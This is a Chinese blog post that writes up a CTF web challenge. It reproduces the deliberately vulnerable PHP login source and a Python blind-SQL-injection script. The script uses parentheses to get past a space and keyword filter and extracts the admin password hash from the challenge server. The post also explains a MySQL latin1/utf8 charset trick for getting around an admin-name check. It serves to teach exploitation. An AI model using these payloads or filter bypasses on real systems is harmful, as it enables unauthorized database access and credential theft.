不知道什么比赛的一道WEB

看到群里发的 拿出来做了一下,学到了蛮多知识的,所以这里做一下记录


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php 
include("config.php"); 
$conn ->query("set names utf8");
 
function randStr($lenth=32){
    $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    $str = "";
    while($lenth>0){
      $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
      $lenth --;
    }
   return $str;
}
 
if($install){
    $sql = "create table `user` (
         `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
         `username` varchar(30) NOT NULL,
         `passwd` varchar(32) NOT NULL,
         `role` varchar(30) NOT NULL
       )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
    if($conn->query($sql)){
       $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
       $conn -> query($sql);
    }
}
 
function filter($str){
     $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
     if(preg_match($filter,$str)){
         die("you can't input this illegal char!");
     }
     return $str; 
 
}
 
 
function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){
 
      echo "$username is ".$res->fetch_assoc()['role'];
  }else{
      die("Don't have this user!");
  }
}
 
function login($username,$passwd){
    global $conn;
    global $flag;
 
    $username = trim(strtolower($username));
    $passwd = trim(strtolower($passwd));
    if($username == 'admin'){
        die("you can't login this as admin!");
    }
 
    $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
    $res = $conn ->query($sql);
    if($res->num_rows>0){
        if($res->fetch_assoc()['role'] === 'admin') exit($flag);
    }else{
       echo "sorry,username or passwd error!";  
    }
 
}
 
function source(){
 
    highlight_file(__FILE__);
}
 
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
 
$action = isset($_GET['action'])?filter($_GET['action']):"source";
 
switch($action){
   case "source": source(); break ;
   case "login" : login($username,$passwd);break;
   case "show" : show($username);break;
}

审计可以发现这是一道sql注入题目,给了表名列名。所以直接查,过滤了空格用 () 绕就行

import requests

url="http://121.36.104.216:10093/?action=show"
flag=''
for x in range(1,33):
    for i in range(33,125):
        con="admin'/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1='1" % (x,i)
        payload={
            "username": con
        }
        s=requests.post(url,data=payload)
        if 'admin'  in s.content:
            flag += chr(i-1)
            print flag
            break

学到一个知识,admin’/(ascii(substr((select(passwd)from(user))from(%d)))<%d)=1=’1

看这段代码 ‘admin’/()=1=1

如果为1.就是admin/1=1=1

admin/1 返回0

admin/0 返回null

完成盲注

然后注意到

if($username == ‘admin’){ die(“you can’t login this as admin!”); }

if($res->num_rows>0){ if($res->fetch_assoc()[‘role’] === ‘admin’) exit($flag); }else{ echo “sorry,username or passwd error!”; }

要求我们用admin登录,但是不能用admin

注意这句话

$conn ->query(“set names utf8”);

在默认情况下,mysql字符集为latin1,而执行了set names utf8;以后,character_set_clientcharacter_set_connectioncharacter_set_results等与客户端相关的配置字符集都变成了utf8,但character_set_databasecharacter_set_server等服务端相关的字符集还是latin1。

这就是该Trick的核心,因为这一条语句,导致客户端、服务端的字符集出现了差别。既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

具体请见P神博客

Mysql字符编码利用技巧

拿到flag

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud